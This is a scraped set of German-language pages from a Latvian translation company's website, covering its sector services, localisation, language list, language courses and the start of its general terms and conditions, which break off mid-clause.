Lokalisierung von Webseiten; Übersetzungen von Urlaubskatalogen und Reiseplänen; Lokalisierung von Audioguides und Videodateien; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen, darunter internationale Messen, Unterbringung großer Reisegruppen, Seminare und Konferenzen; Spezialisierter Sprachunterricht; alle anderen Sprachdienstleistungen, die Sie benötigen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Sprachdienstleistungen für staatliche und kommunale Einrichtungen: Übersetzungen, Dolmetschen, notariell beglaubigte Übersetzungen und Sprachunterricht. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/ - Translation Priorities: Optional Öffentliche Einrichtungen sind auf eine schnelle Kommunikation zwischen den Mitarbeitern, aber auch mit ausländischen Partnern und der Öffentlichkeit angewiesen. Klare und zeitige Informationen erleichtern die Arbeit der staatlichen und kommunalen Einrichtungen. Deswegen können Sie mit der Zusammenarbeit mit Skrivanek nur gewinnen. In den letzten 25 Jahren unserer Arbeit konnten wir enge und langfristige Beziehungen mit staatlichen Einrichtungen aufbauen, beispielsweise mit mehreren Ministerien der Republik Lettland, der Staatskanzlei, der Gerichtsverwaltung und der Staatsanwaltschaft sowie mit anderen staatlichen und kommunalen Einrichtungen, die mit Informationen mit eingeschränktem Zugang arbeiten. Beamte wurden auf der Skrivanek Baltic Language School für die lettische Präsidentschaft im Rat der Europäischen Union vorbereitet. Wir nehmen regelmäßig erfolgreich an Preisumfragen und Ausschreibungen teil. Um sicherzustellen, dass die Informationen die Zielgruppe erreichen, müssen sie genau, rechtzeitig und in mehreren Sprachen und Formaten bereitgestellt werden. Die Übersetzer von Skrivanek können Übersetzungen in einer Vielzahl von Formaten ausführen, die für Managementsysteme, das Qualitätsmanagement, die Aufrechthaltung von IT-Systemen sowie die Zusammenarbeit und Kommunikation mit EU-Institutionen erforderlich sind. Unsere Sprachspezialisten können auch zur Entwicklung des Fremdenverkehrs in Ihrer Gemeinde beitragen, indem sie qualitativ hochwertige Übersetzungen von Informationsmaterial zu verschiedenen touristischen Objekten liefern, sowie zur Förderung der regionalen Wirtschaft, indem sie Materialien erstellen, die ausländische Investoren anziehen sollen. Für die Öffentlichkeitsarbeit bieten wir verschiedene Dolmetscherdienste an. Dank unserer langjährigen Erfahrung können wir Übersetzungen anfertigen, die für die tägliche Arbeit in Ihrer Einrichtung erforderlich sind, während Ihre Mitarbeiter ihre Sprachkenntnisse in unserer Sprachschule verbessern können. Wenn Sie die Sprachkenntnisse Ihrer potenziellen Mitarbeiter bewerten wollen, ist unser spezielles Sprachkompetenz-Audit-Tool FOCUS genau das Richtige für Sie. Darüber hinaus können unsere Fachleute Sie während des Vorstellungsgesprächs unterstützen, um das Sprachniveau einzustufen. FÜR STAATLICHE UND KOMMUNALE EINRICHTUNGEN BIETEN WIR DIE FOLGENDEN DIENSTLEISTUNGEN IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHKOMBINATIONEN AN: Lokalisierung von Websites und Übersetzung von verschiedenen Informationsmaterialien und Präsentationen; Audit-Tool FOCUS zur Einstufung des Sprachniveaus; Konsekutiv- und Simultandolmetschen bei verschiedenen Veranstaltungen und in der Öffentlichkeitsarbeit; Sprachkurse für jedes Sprachniveau; Übersetzung von Verträgen, Gesetzen und juristischen Unterlagen; andere Dienstleistungen, die Ihre Einrichtung möglicherweise benötigt. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Qualitativ hochwertige Sprachdienstleistungen für die Handelsbranche: Übersetzung, Dolmetschen, Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/ - Translation Priorities: Optional Einen Kunden erreicht man am besten in seiner Muttersprache. Als Fachleute in der Handelsbranche wissen Sie am besten, dass eine schnelle Kommunikation fundamental für ein erfolgreiches Geschäft ist, insbesondere heutzutage, wo Transaktionen auf globaler Ebene stattfinden. Die Sprachspezialisten von Skrivanek helfen Ihnen bei der Kommunikation mit Kunden und Partnern auf der ganzen Welt in mehr als 110 Sprachen. Mit unserem modernem und zielorientiertem Ansatz wollen wir auch einen Beitrag zur Entwicklung Ihres Unternehmens leisten. Das Skrivanek-Team besteht aus Sprachspezialisten, die nicht nur über gute Sprachkenntnisse verfügen, sondern auch mit den kulturspezifischen Aspekten der Zielsprache bestens vertraut sind. Wir übersetzen nicht nur, sondern können auch fertige Texte verbessern, formatieren und an die kulturspezifischen Gegebenheiten des Umfelds und des Marktes Ihrer Kunden anpassen. Wir haben große Erfahrung in der Übersetzung von Verträgen, Marketing- und Werbematerialien, Katalogen, Produktbeschreibungen und anderen fachspezifischen Texten. Wir arbeiten mit verschiedenen Handelsunternehmen zusammen: sowohl kleine Privatunternehmen als auch internationale Handelsketten. Deswegen können wir mit Zuversicht sagen, dass Sie bei uns die Sprachdienstleistung finden werden, die Sie benötigen. Machen Sie sich keine Sorgen um Abgabefristen. Unsere Sprachspezialisten und Projektmanager benutzen die neueste Software, um Ihren Auftrag in kürzester Zeit auf höchster Qualität anzufertigen. FOLGENDE DIENSTLEISTUNGEN FÜR DIE HANDELSBRANCHE BIETEN WIR IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung aller Marketing- und Werbematerialien, einschließlich Produktbeschreibungen, sowie Desktop-Publishing-Dienste (DTP); Übersetzung verschiedener technischer Texte, einschließlich Benutzerhandbüchern, Wartungs- und Betriebsunterlagen sowie Kataloge; Simultan- und Konsekutivdolmetschen bei verschiedenen Veranstaltungen, wie Konferenzen, Seminaren, Messen und Geschäftstreffen; Sprachkurse für verschiedene Sprachniveaus und mit unterschiedlicher Intensität; alle anderen Dienstleistungen, die Sie benötigen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Wir liefern nicht nur Übersetzungen, sondern sorgen auch dafür, dass die lokalisierten Produkte und die Software gut funktionieren. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional ÜBERSETZUNG VON WEBSITES Die Übersetzung von Websites war noch nie so einfach! Wir bieten optimale Lokalisierungen, um sicherzustellen, dass Ihre Website den Bedürfnissen und einheimischen Besonderheiten Ihrer Region oder Ihres Marktes entspricht. Mehr erfahren LOKALISIERUNG VON AUDIO- UND VIDEODATEIEN Qualitative Aufzeichnungen in jeder Sprache - nachdem unsere Spezialisten sie transkribiert und übersetzt haben, liefern wir Ihnen ein professionelles Endergebnis im Audio- oder Videoformat. Kontaktieren Sie uns SOFTWARE-LOKALISIERUNG Präzise und genaue Anpassung der Software an die Erfordernisse des jeweiligen Landes - wir übersetzen Ihre Software oder App und achten dabei darauf, dass die Einstellungen erhalten bleiben. Kontaktieren Sie uns LOKALISIERUNG VON E-LEARNING-INHALTEN UND -DIENSTLEISTUNGEN Weltweit entscheiden sich immer mehr Menschen dafür, sich neue Fähigkeiten und Kenntnisse online anzueignen. Wir empfehlen Ihnen daher, nicht mit der Lokalisierung Ihrer Lerninhalte oder online Dienstleistung in zumindest einigen der gängigsten Sprachen der Welt oder Ihrer Region zu zögern. Mehr erfahren LOKALISIERUNG VON DIGITALEN MARKETINGINHALTEN Digitales Marketing, einschließlich Websites und durchdachter Online-Media-Kampagnen, erobert die Herzen und Köpfe Ihrer Kunden mit Botschaften in einer virtuellen Umgebung. Gleichzeitig können Ihre Kunden durch soziale Netzwerke engere Beziehungen untereinander aufbauen. Eine einfache, klassische Übersetzung kann die Einzigartigkeit Ihres Produkts verblassen lassen. Genau hier kommt Ihnen die Lokalisierung von Marketinginhalten zu Hilfe. Mehr erfahren GOOGLE ADS UND SEO ÜBERSETZUNGEN Wenn Sie Ihre Website in mehreren Sprachen zur Verfügung stellen, werden Sie deutlich wettbewerbsfähiger. Unsere Spezialisten lokalisieren Ihre Website nach den neuesten SEO-Grundsätzen, damit sie in der organischen Suche möglichst weit oben erscheint, und passen die Schlüsselwörter für die Google Ads-Werbung an, damit Ihre potenziellen Kunden Sie leichter finden können. Mehr erfahren SUCHEN SIE NACH LOKALISIERUNGSDIENSTE ODER BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden HÄUFIG GESTELLTE FRAGEN Wir können nahezu jedes Dokument bearbeiten, wobei die Formatierung des Originaldokuments erhalten bleibt. Bei der Lokalisierung halten wir uns an die spezifischen Anweisungen des Auftraggebers oder an die von der Software vorgegebenen Einstellungen. Wir übernehmen das gerne! Skrivanek verfügt über große Erfahrung und Kenntnis in der Übersetzung und Lokalisierung verschiedener Websites und Content-Management-Systeme. Wir bieten Ihnen stets Professionalität und finden für Ihren individuellen Auftrag eine maßgeschneiderte Lösung, um die besten Ergebnisse in den jeweiligen Sprachkombinationen zu erzielen. Ja, oft stellen wir sogar Teams von Sprachspezialisten für unsere Kooperationspartner zusammen, was bedeutet, dass die Dienstleistungen von denselben Übersetzern oder Dolmetschern wie bisher erbracht werden. Wir freuen uns über Ihr Feedback und beauftragen gerne den bisherigen Sprachspezialisten für Sie. Unsere Stammkunden haben auch ihre eigenen Projektmanager. WIR BIETEN SPRACHDIENSTLEISTUNGEN FÜR VERSCHIEDENE BRANCHEN IN MEHR ALS 300 SPRACHKOMBINATIONEN Dänisch Deutsch Englisch Estnisch Finnisch Französisch Griechisch Italienisch Litauisch Norwegisch Polnisch Russisch Schwedisch Spanisch Tschechisch Andere Sprachen SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Übersetzungen, Dolmetschen und andere Sprachdienstleistungen in den gängigsten europäischen Sprachkombinationen. Erhalten Sie ein unverbindliches und kostenloses Angebot! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/ - Translation Priorities: Optional Afrikaans Akkadisch Albanisch Amharisch Arabisch Armenisch Aserbaidschanisch Aymara Baschkirisch Belarussisch Bengalisch Birmanisch Bislama Bosnisch Bulgarisch Burjatisch Chichewa Chinesisch Dänisch Dari Deutsch Dhivehi Dzongkha Englisch Estnisch Färöisch Farsi Finnisch Französisch Georgisch Griechisch Guaraní Hebräisch Hindi Indonesisch Irisch Isländisch Italienisch Japanisch Kasachisch Katalanisch Khmer Kikongo Kinyarwanda (Ruandisch) Kirgisisch Kirundi (Rundisch) Komi Koreanisch Kosraeanisch Kreolisch Kroatisch Kurdisch Laotisch Latein Lettisch Litauisch Madagassisch (Malagasy) Malaiisch Maltesisch Marathi Mazedonisch Moldauisch Mongolisch Nauruisch Ndebele Nepali Niederländisch Norwegisch Palauisch Paschtunisch Pedi Persisch Polnisch Portugiesisch Quechua Rumänisch Russisch Samoanisch Sanskrit Schwedisch Serbisch Sesotho (Sotho) Setswana Singhalesisch Siswati (Swasi) Slowakisch Slowenisch Somali Spanisch Sumerisch Swahili Tadschikisch Tagalog Tamilisch Tatarisch Thailändisch Tibetisch Tigre Tongaisch Tschechisch Tschivenda Tschuktschisch Türkisch Turkmenisch Ukrainisch Ungarisch Urdu Usbekisch Vietnamesisch Wolof Andere Sprachen DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN UNSERER KUNDEN: allgemeine und fachliche Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierungen; neuronale maschinelle Übersetzungen; DTP - Desktop Publishing; Textanpassung und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SIE SIND NOCH AUF DER SUCHE NACH DER RICHTIGEN SPRACHE ODER EINER BERATUNG? Anfrage senden SEIT MEHR ALS 30 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2024 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate GEFRAGTESTE ÜBERSETZUNGSGEBIETE Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Lernen Sie Sprachen schnell und effizient in der Skrivanek Sprachenschule Hochqualifizierte einheimische und ausländische Lehrer. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/valodu-kursi/ - Translation Priorities: Optional FÜR UNTERNEHMEN Wir bieten Sprachkurse für lettische und internationale Unternehmen sowie für staatliche und kommunale Einrichtungen an. Ihre Mitarbeiter können von Kursen auf verschiedenen Sprachniveaus oder von Intensivsprachkursen profitieren. Mit unserer langjährigen Erfahrung und einer großen Anzahl von Lehrern können wir jedes noch so große oder schwierige Fremdsprachenprojekt in Angriff nehmen. Kontaktieren Sie uns FÜR EINZELPERSONEN Erreichen Sie Ihre Ziele mit unseren Sprachkursen! Lernen Sie Fremdsprachen schnell und effizient in unseren Gruppenkursen, im Einzelunterricht oder online. Eignen Sie sich neue Fähigkeiten an und haben Sie Spaß in unseren spannenden Sprachkursen! Kontaktieren Sie uns KINDERCAMPS Unsere Sprachcamps für Kinder und Jugendliche gibt es zu jeder Jahreszeit und dienen als tolle Möglichkeit in den Schulferien die Fremdsprachenkenntnisse zu verbessern und neue Freundschaften zu knüpfen. Die Aktivitäten in den Camps sind lizenziert und altersgerecht für Kinder. Kontaktieren Sie uns HÄUFIG GESTELLTE FRAGEN Ja, Skrivanek bietet nicht nur Gruppen- und Einzelunterricht in mehr als 25 Sprachen an, sondern hat auch eine große Auswahl für Kinder und Jugendliche. Unsere Firmenkunden wählen häufig Einzelunterricht, da sie so schneller ihre Ziele erreichen können. FOCUS ist ein Online-Tool zur Überprüfung der Sprachkompetenz, mit dem Sie die Sprachkenntnisse Ihrer Bewerber effizient und gründlich testen können. Der schriftliche Teil des Tests umfasst Grammatik, Wortschatz und Leseverständnis. Das FOCUS-Tool prüft auch die mündlichen und schriftlichen Sprachkenntnisse und ermöglicht so eine umfassende und genaue abschließende Bewertung. Dieses Tool ist ein Muss beim Einstellungsverfahren! EFFECTO ist eine patentierte Sprachlernmethode, die für die Skrivanek Sprachschulen weltweit entwickelt wurde. Diese Methode ist wird besonders für seine hohe Lerneffizienz gelobt. SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über große Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Skrivanek ist ein Sprachdienstleister mit über 25 Jahren Erfahrung: professionelle Sprachdienstleistungen für Unternehmen und Privatpersonen. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/komercnoteikumi/ - Translation Priorities: Optional 1. ALLGEMEINE GESCHÄFTSBEDINGUNGEN 1. 1 Die Allgemeinen Geschäftsbedingungen wurden festgelegt von der Skrivanek Baltic GmbH unter der Registrierungsnummer: 40003626172, unter der Geschäftsanschrift: Lāčplēša iela 87C, Riga, LV-1011, nachstehend im Text Auftragnehmer genannt, und seinem Kunde, nachstehend Auftraggeber genannt, jedoch zusammen die Parteien. 1. 2 Gegenstand der Allgemeinen Geschäftsbedingungen ist Erbringung von Dienstleistungen (nachstehend Aufträge genannt), die die Geschäftsform der Skrivanek Baltic GmbH darstellen, insbesondere Übersetzungen und Dolmetschen in Übereinstimmung mit den im Auftrag festgelegten Geschäftsbedingungen. 1. 3 Das Vertragsverhältnis zwischen dem Auftraggeber und dem Auftragnehmer kommt durch die Erstellung eines schriftlichen Auftrags, auch per E-Mail, zustande, in dem die Parteien die Abgabefrist, die Auftrags- und Zahlungsbedingungen des Auftrags vereinbaren. 2. ÜBERSETZUNGEN 2. 1 Der Auftragnehmer stimmt gemäß Absatz 1 dem Auftrag zu, führt den Auftrag in der vereinbarten Sprache und zum vereinbarten Zeitpunkt aus und liefert ihn dem Auftraggeber auf die vereinbarte Weise. 2. 2 Der Auftraggeber verpflichtet sich, den angenommenen Auftrag ordnungsgemäß auszuführen und dem Auftragnehmer den vereinbarten Preis zu zahlen. 2. 3 Der Kunde verpflichtet sich, die Bestellung zum vereinbarten Zeitpunkt und zur vereinbarten Weise anzunehmen. 2. 4 Der Kunde oder sein Bevollmächtigter ist verpflichtet, die Annahme der Bestellung telefonisch oder schriftlich (auch per E-Mail) zu bestätigen und dabei anzugeben, dass die Bestellung rechtzeitig angenommen wurde. Kommt der Auftraggeber dieser Verpflichtung nicht nach und mahnt er den Auftrag nicht innerhalb von 24 Stunden nach Ablauf der Frist für die Auftragserteilung telefonisch oder schriftlich (auch per E-Mail) an, so kann der Auftragnehmer davon ausgehen, dass der Auftraggeber den Auftrag rechtzeitig erhalten hat und keine Einwände gegen die Frist oder die Vereinbarung erhoben hat. 2. 5 Die Frist zur Erfüllung des Auftrags ist nicht überfällig, wenn der Auftragnehmer nach der Mahnung des Auftraggebers angibt, dass er den Auftrag an ihn abgesandt hat und nachweist, dass er ihn bereits in der im Auftrag angegebenen Zeit und Weise abgesandt hat. 2. 6 Wenn der Auftragnehmer den Auftrag ohne triftigen Grund verzögert, hat der Auftraggeber das Recht, einen Säumniszuschlag in Höhe von 0,1 % der Auftragssumme für jeden Tag der Verzögerung zu verlangen, jedoch nicht mehr als 10 % des Auftragspreises. 2. 7 Ist die Übergabe des Auftrags an den Auftraggeber aus nachweislichen Gründen nicht auf die vorgesehene Weise möglich, wählt der Auftragnehmer eine andere Art der Auftragsübergabe, deren Kosten der Auftraggeber zu tragen hat und über die er im Voraus informiert wird. 2. 8 Wenn der Auftraggeber eine Reklamation nicht innerhalb der angegebenen Frist und ohne Angabe eines triftigen Grundes einreicht, sondern sich weigert, den ordnungsgemäß ausgeführten Auftrag anzunehmen, gilt der Auftrag als ausgeführt und der Auftragnehmer darf eine Rechnung ausstellen, die der Auftraggeber zu bezahlen hat. 3. DOLMETSCHEN 3. 1 Der Auftragnehmer stimmt gemäß Absatz 1 dem Auftrag zu und führt den Auftrag (Dolmetschen) in der vereinbarten Sprache und zum vereinbarten Zeitpunkt aus. 3. 2 Der Auftraggeber verpflichtet sich, den angenommenen Auftrag ordnungsgemäß auszuführen und dem Auftragnehmer den vereinbarten Preis zu zahlen. 3. 3 Der Auftragnehmer sorgt für die Verdolmetschung durch einen Dolmetscher. 3. 4 Der Kunde ist verpflichtet, die Verdolmetschung innerhalb der vorgeschriebenen Frist und in der auf dem Bestellformular angegebenen Weise anzunehmen. 3. 5. Wenn das Dolmetschen in Übereinstimmung mit den Anforderungen und innerhalb der Frist durchgeführt wurde und der Kunde keine Reklamationen hat, ist der Kunde oder sein Bevollmächtigter verpflichtet, nach dem Dolmetschen schriftlich zu bestätigen, dass das Dolmetschen in der geforderten Qualität und Frist durchgeführt wurde. 3. 6 Wenn der Auftraggeber eine Reklamation nicht innerhalb der angegebenen Frist und ohne Angabe eines triftigen Grundes einreicht, sondern sich weigert, den ordnungsgemäß ausgeführten Auftrag anzunehmen, gilt der Auftrag als ausgeführt und der Auftragnehmer darf eine Rechnung ausstellen, die der Auftraggeber zu bezahlen hat. 3. 7 Der Auftragnehmer verpflichtet sich, jegliche Inhalte bezogen auf das Dolmetschen, vertraulich zu behandeln und alle zusätzlichen Materialien, die der Auftraggeber gibt, insbesondere vertrauliche Informationen, aufzubewahren. 3. 8 Der Kunde ist nicht berechtigt, den/die Dolmetscher mit einer anderen, nicht im Auftrag genannten Tätigkeit zu beauftragen, z. B. mit einer Übersetzung, einem Sitzungsprotokoll usw. 3. 9 Der Auftragnehmer ist dazu berechtigt, die volle Bezahlung der vereinbarten Arbeitszeit des/ der Dolmetscher(s) in Anspruch zu nehmen, auch wenn der Kunde die volle Arbeitszeit nicht zu Nutzen kommen lässt. 3. 10 Der Kunde ist verpflichtet, geeignete Arbeitsbedingungen für den gewünschten Dolmetscherdienst zu schaffen, einschließlich der technischen Ausrüstung, sofern diese nicht vom Auftragnehmer bestellt wurde. 3. 11 Der Kunde ist verpflichtet, für die Fahrt des Dolmetschers vom vereinbarten Ort zum Ort der Ausführung aufzukommen. 3. 12 Wenn der/die Dolmetscher private Verkehrsmittel benutzt/benutzen, übernimmt der Auftraggeber im gegenseitigen Einvernehmen mit dem Auftragnehmer alle Reisekosten des/der Dolmetscher(s). 3. 13 Der Auftraggeber ist für die Unterkunft des Dolmetschers zuständig. Ein Einzelzimmer mit angemessener Ausstattung. 3. 14 Der Kunde ist verpflichtet, dem/den Dolmetscher(n) pro vier Übersetzungsstunden eine Mittagspause und eine Ruhepause von mindestens 30 Minuten zu gewähren. 3. 15 Der Arbeitstag eines Dolmetschers umfasst acht (8) Stunden, Pausen inbegriffen. 3. 16 Der Kunde hat Anspruch auf Entschädigung für die Zeit, die der Dolmetscher versäumt hat. 4. RECHTE UND PFLICHTEN DER PARTEIEN 4. 1 Wenn der Auftraggeber über eine intern genehmigte Terminologieliste verfügt, ist es erwünscht, dass der Auftraggeber diese dem Auftragnehmer zum Zeitpunkt der Auftragsausführung zur Verfügung stellt oder dem Auftragnehmer andere Materialien zur Verfügung stellt, die bei der Wahl der richtigen Terminologie helfen, oder eine verantwortliche Person benennt, die die notwendigen Beratungen durchführt. 4. 2 Der Auftraggeber muss dem Auftragnehmer mindestens drei Tage vor dem Dolmetschen die Unterlagen (z. B. Protokolle, Berichte, Präsentationen oder andere Materialien) der vorangegangenen Sitzung zusenden. Ist diese Bedingung nicht erfüllt, werden mögliche Ansprüche wegen der Verwendung ungenauer Begriffe beim Dolmetschen nicht berücksichtigt. 4. 3 Der Auftragnehmer haftet nicht für mögliche Folgen im Zusammenhang mit der Verletzung des Urheberrechts des Auftraggebers. 4. 4 Der Auftragnehmer verpflichtet sich, jegliche Inhalte bezogen auf das Dolmetschen, vertraulich zu behandeln und alle zusätzlichen Materialien, die der Auftraggeber gibt, insbesondere vertrauliche Informationen, aufzubewahren. 4. 5 Der Auftraggeber verpflichtet sich, den Übersetzer oder Dolmetscher des Auftragnehmers nicht ohne dessen Zustimmung zu kontaktieren. Bestätigt der Auftragnehmer, dass der Auftraggeber mit einem Übersetzer oder Dolmetscher kommuniziert hat, verpflichtet sich der Auftraggeber, dem Übersetzer oder Dolmetscher keine Informationen über den besonderen Inhalt des Vertrages zwischen Auftraggeber und Auftragnehmer mitzuteilen. Bei einem Verstoß gegen die Bestimmungen dieser Klausel zahlt der Auftraggeber dem Auftragnehmer ein Bußgeld in Höhe von 500,00 EUR. 5. ANSPRÜCHE 5. 1 Die Bestellung des Auftragnehmers weist Mängel auf, wenn sie nicht gemäß den in der Bestellung genannten Bedingungen ausgeführt wurde. 5. 2 Eine fertige Übersetzung weist auch dann Mängel auf, wenn sie nicht mit der entsprechenden grammatikalischen, stilistischen oder semantischen Qualität ausgeführt wird. 5. 3 Werden die in den Absätzen 5. 1 und 5. 2 genannten Mängel nicht festgestellt, so gilt der Auftrag als ordnungsgemäß und gemäß den Anforderungen des Kunden ausgeführt. 5. 4 Reklamationen müssen schriftlich eingereicht werden (auch per E-Mail). Die Beanstandungen sind zu begründen und müssen die Art der Mängel und, wenn möglich, die Anzahl der Mängel angeben. 5. 5 Erkennt der Auftragnehmer die Beanstandung des Auftraggebers als begründet an, so hat der Auftragnehmer den Auftrag nachzubessern. In diesem Fall hat der Kunde das Recht, einen Preisnachlass auf den Bestellpreis zu erhalten. 5. 6 Der Auftraggeber erhält einen angemessenen Nachlass auf den Auftrag, wenn der Auftragnehmer die Reklamation des Auftraggebers anerkennt, die nicht auf den in Punkt 5. 2 genannten Mängeln beruht, oder wenn der Auftraggeber die vorgeschlagene Nachbesserung ablehnt. 5. 7 Die Höhe des Rabatts wird auf der Grundlage eines Gutachtens eines Spezialisten oder in gegenseitigem Einvernehmen festgelegt. 5. 8 Kommt es zwischen den Parteien zu einer Streitigkeit im Zusammenhang mit einer innerhalb der Laufzeit des Kunden eingereichten Reklamation, in der die in Absatz 5. 2 genannten Mängel erwähnt werden, verpflichten sich beide Parteien zunächst, die Streitigkeit außergerichtlich durch die Wahl eines kompetenten unabhängigen Sachverständigen zu lösen. Die beiden Parteien einigen sich auf den Spezialisten. 5. 9 Die Höhe des Rabatts hängt vom Gutachten des Sachverständigen oder von der Vereinbarung zwischen den beiden Parteien ab. 5. 10 Der Auftragnehmer haftet für alle Schäden, die sich aus den Mängeln des ausgeführten Auftrags ergeben. Die Parteien 